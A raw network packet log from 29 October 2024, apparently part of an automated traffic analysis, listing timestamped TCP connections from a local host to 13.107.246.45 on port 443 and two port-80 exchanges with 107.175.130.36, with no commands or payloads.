Oct 29, 2024 20:37:57.852199078 CET	49778	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:57.852235079 CET	443	49778	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.852308989 CET	49778	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:57.852479935 CET	49778	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:57.852497101 CET	443	49778	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.861284018 CET	443	49772	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.861337900 CET	443	49772	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.861409903 CET	49772	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:57.861557007 CET	49772	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:57.861576080 CET	443	49772	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.861589909 CET	49772	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:57.861593962 CET	443	49772	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.864393950 CET	49779	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:57.864419937 CET	443	49779	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.864486933 CET	49779	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:57.864629030 CET	49779	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:57.864648104 CET	443	49779	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.904587984 CET	443	49774	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.904733896 CET	443	49774	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.904922962 CET	49774	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:57.904978991 CET	49774	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:57.904997110 CET	443	49774	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.905005932 CET	49774	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:57.905010939 CET	443	49774	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.907814980 CET	49780	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:57.907891989 CET	443	49780	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.907983065 CET	49780	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:57.908113956 CET	49780	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:57.908134937 CET	443	49780	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.267050982 CET	80	49776	107.175.130.36	192.168.2.4
Oct 29, 2024 20:37:58.267230034 CET	49776	80	192.168.2.4	107.175.130.36
Oct 29, 2024 20:37:58.304162025 CET	443	49775	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.313853025 CET	49775	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:58.313921928 CET	443	49775	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.314677954 CET	49775	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:58.314694881 CET	443	49775	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.442898989 CET	443	49775	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.442976952 CET	443	49775	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.443058014 CET	49775	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:58.455212116 CET	49775	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:58.455245018 CET	443	49775	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.455256939 CET	49775	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:58.455264091 CET	443	49775	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.458638906 CET	49781	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:58.458688021 CET	443	49781	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.458771944 CET	49781	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:58.458918095 CET	49781	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:58.458934069 CET	443	49781	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.578439951 CET	443	49777	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.579334974 CET	49777	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:58.579359055 CET	443	49777	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.579845905 CET	49777	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:58.579855919 CET	443	49777	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.599360943 CET	443	49778	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.600101948 CET	49778	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:58.600120068 CET	443	49778	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.600533009 CET	49778	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:58.600538969 CET	443	49778	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.613972902 CET	443	49779	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.614278078 CET	49779	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:58.614289999 CET	443	49779	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.614656925 CET	49779	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:58.614661932 CET	443	49779	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.664625883 CET	443	49780	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.665205956 CET	49780	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:58.665235043 CET	443	49780	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.665688038 CET	49780	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:58.665693998 CET	443	49780	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.709888935 CET	443	49777	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.710274935 CET	443	49777	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.710351944 CET	49777	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:58.710397005 CET	49777	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:58.710397005 CET	49777	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:58.710419893 CET	443	49777	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.710433960 CET	443	49777	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.713532925 CET	49782	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:58.713615894 CET	443	49782	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.713715076 CET	49782	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:58.713871002 CET	49782	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:58.713905096 CET	443	49782	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.730551004 CET	443	49778	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.730912924 CET	443	49778	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.731002092 CET	49778	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:58.731033087 CET	49778	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:58.731033087 CET	49778	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:58.731048107 CET	443	49778	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.731060982 CET	443	49778	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.733313084 CET	49783	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:58.733344078 CET	443	49783	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.733426094 CET	49783	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:58.733550072 CET	49783	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:58.733562946 CET	443	49783	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.747766972 CET	443	49779	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.747833014 CET	443	49779	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.747896910 CET	49779	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:58.748028040 CET	49779	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:58.748043060 CET	443	49779	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.748078108 CET	49779	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:58.748085022 CET	443	49779	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.750325918 CET	49784	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:58.750370979 CET	443	49784	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.750452995 CET	49784	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:58.750560045 CET	49784	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:58.750583887 CET	443	49784	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.795756102 CET	443	49780	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.795855045 CET	443	49780	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.795978069 CET	49780	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:58.796238899 CET	49780	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:58.796272993 CET	443	49780	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.796323061 CET	49780	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:58.796339989 CET	443	49780	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.799711943 CET	49785	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:58.799757004 CET	443	49785	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:58.799856901 CET	49785	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:58.800035000 CET	49785	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:58.800050974 CET	443	49785	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.199419022 CET	443	49781	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.200258017 CET	49781	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:59.200289965 CET	443	49781	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.200673103 CET	49781	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:59.200680017 CET	443	49781	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.332410097 CET	443	49781	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.333230972 CET	443	49781	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.333302975 CET	49781	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:59.333357096 CET	49781	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:59.333374977 CET	443	49781	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.333389997 CET	49781	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:59.333395004 CET	443	49781	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.336579084 CET	49786	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:59.336628914 CET	443	49786	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.336785078 CET	49786	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:59.336968899 CET	49786	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:59.336982965 CET	443	49786	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.445399046 CET	443	49782	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.449574947 CET	49782	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:59.449609041 CET	443	49782	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.450242043 CET	49782	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:59.450247049 CET	443	49782	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.465286016 CET	443	49783	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.465744972 CET	49783	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:59.465773106 CET	443	49783	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.466206074 CET	49783	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:59.466217041 CET	443	49783	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.508578062 CET	443	49784	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.509123087 CET	49784	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:59.509150982 CET	443	49784	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.509625912 CET	49784	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:59.509633064 CET	443	49784	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.553539991 CET	443	49785	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.554039001 CET	49785	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:59.554064035 CET	443	49785	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.554511070 CET	49785	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:59.554517984 CET	443	49785	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.577178955 CET	443	49782	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.577276945 CET	443	49782	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.577379942 CET	49782	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:59.577555895 CET	49782	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:59.577575922 CET	443	49782	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.577611923 CET	49782	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:59.577619076 CET	443	49782	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.580981970 CET	49787	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:59.581027985 CET	443	49787	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.581135035 CET	49787	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:59.581324100 CET	49787	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:59.581336975 CET	443	49787	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.596237898 CET	443	49783	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.596400023 CET	443	49783	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.596514940 CET	49783	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:59.596724033 CET	49783	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:59.596740961 CET	443	49783	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.596754074 CET	49783	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:59.596760035 CET	443	49783	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.599349022 CET	49788	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:59.599389076 CET	443	49788	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.600097895 CET	49788	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:59.600097895 CET	49788	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:59.600143909 CET	443	49788	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.667958021 CET	443	49784	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.668029070 CET	443	49784	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.668109894 CET	49784	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:59.668349981 CET	49784	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:59.668374062 CET	443	49784	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.668385983 CET	49784	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:59.668391943 CET	443	49784	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.671617031 CET	49789	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:59.671653986 CET	443	49789	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.671761990 CET	49789	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:59.672183037 CET	49789	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:59.672195911 CET	443	49789	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.693104029 CET	443	49785	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.693167925 CET	443	49785	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.693237066 CET	49785	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:59.693504095 CET	49785	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:59.693504095 CET	49785	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:59.693522930 CET	443	49785	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.693536043 CET	443	49785	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.697973013 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:59.698014975 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:59.698102951 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:59.698323011 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:59.698337078 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.078556061 CET	443	49786	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.079332113 CET	49786	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.079360008 CET	443	49786	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.080029964 CET	49786	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.080039978 CET	443	49786	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.208770037 CET	443	49786	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.209528923 CET	443	49786	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.209605932 CET	49786	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.210007906 CET	49786	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.210067034 CET	443	49786	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.210105896 CET	49786	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.210124016 CET	443	49786	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.213006020 CET	49791	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.213047028 CET	443	49791	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.213185072 CET	49791	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.213372946 CET	49791	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.213382006 CET	443	49791	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.305238008 CET	443	49787	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.305778027 CET	49787	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.305819988 CET	443	49787	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.306361914 CET	49787	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.306369066 CET	443	49787	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.342557907 CET	443	49788	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.342993975 CET	49788	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.343009949 CET	443	49788	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.343452930 CET	49788	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.343461037 CET	443	49788	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.436003923 CET	443	49787	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.436132908 CET	443	49787	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.436269999 CET	49787	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.436549902 CET	49787	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.436577082 CET	443	49787	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.436603069 CET	49787	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.436611891 CET	443	49787	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.436667919 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.438030958 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.438052893 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.438494921 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.438500881 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.441925049 CET	49792	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.442054033 CET	443	49792	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.442146063 CET	49792	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.442312956 CET	49792	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.442341089 CET	443	49792	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.454471111 CET	443	49789	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.454811096 CET	49789	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.454833984 CET	443	49789	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.455296040 CET	49789	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.455302000 CET	443	49789	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.475541115 CET	443	49788	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.475650072 CET	443	49788	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.475724936 CET	49788	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.475945950 CET	49788	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.475967884 CET	443	49788	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.475977898 CET	49788	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.475984097 CET	443	49788	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.478426933 CET	49793	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.478457928 CET	443	49793	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.478559017 CET	49793	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.478693008 CET	49793	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.478708982 CET	443	49793	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.573081017 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.573486090 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.573601007 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.606657982 CET	443	49789	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.607032061 CET	443	49789	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.607171059 CET	49789	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.608443022 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.608484030 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.608501911 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.608509064 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.609707117 CET	49789	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.609707117 CET	49789	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.609731913 CET	443	49789	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.609743118 CET	443	49789	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.618011951 CET	49794	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.618067980 CET	443	49794	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.618159056 CET	49794	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.618685007 CET	49794	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.618699074 CET	443	49794	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.619637012 CET	49795	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.619679928 CET	443	49795	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.619745016 CET	49795	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.619900942 CET	49795	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.619913101 CET	443	49795	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.977122068 CET	443	49791	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.977844000 CET	49791	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.977863073 CET	443	49791	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:00.978373051 CET	49791	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:00.978382111 CET	443	49791	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.117429972 CET	443	49791	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.117571115 CET	443	49791	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.117641926 CET	49791	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:01.117842913 CET	49791	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:01.117842913 CET	49791	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:01.117863894 CET	443	49791	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.117873907 CET	443	49791	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.120906115 CET	49796	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:01.120944977 CET	443	49796	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.121047974 CET	49796	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:01.121237993 CET	49796	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:01.121248960 CET	443	49796	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.165709019 CET	443	49792	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.166476965 CET	49792	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:01.166511059 CET	443	49792	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.167332888 CET	49792	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:01.167339087 CET	443	49792	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.246275902 CET	443	49793	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.246931076 CET	49793	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:01.246958017 CET	443	49793	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.247451067 CET	49793	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:01.247457027 CET	443	49793	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.332798004 CET	443	49792	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.332864046 CET	443	49792	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.332941055 CET	49792	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:01.333123922 CET	49792	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:01.333148003 CET	443	49792	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.333159924 CET	49792	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:01.333165884 CET	443	49792	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.335622072 CET	49797	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:01.335665941 CET	443	49797	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.335882902 CET	49797	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:01.336009026 CET	49797	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:01.336029053 CET	443	49797	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.361366987 CET	443	49795	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.361941099 CET	49795	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:01.361955881 CET	443	49795	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.362407923 CET	49795	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:01.362412930 CET	443	49795	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.363862991 CET	443	49794	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.364351034 CET	49794	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:01.364381075 CET	443	49794	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.364710093 CET	49794	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:01.364715099 CET	443	49794	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.379547119 CET	443	49793	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.379633904 CET	443	49793	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:01.379785061 CET	49793	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:01.379887104 CET	49793	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:01.379905939 CET	443	49793	13.107.246.45	192.168.2.4
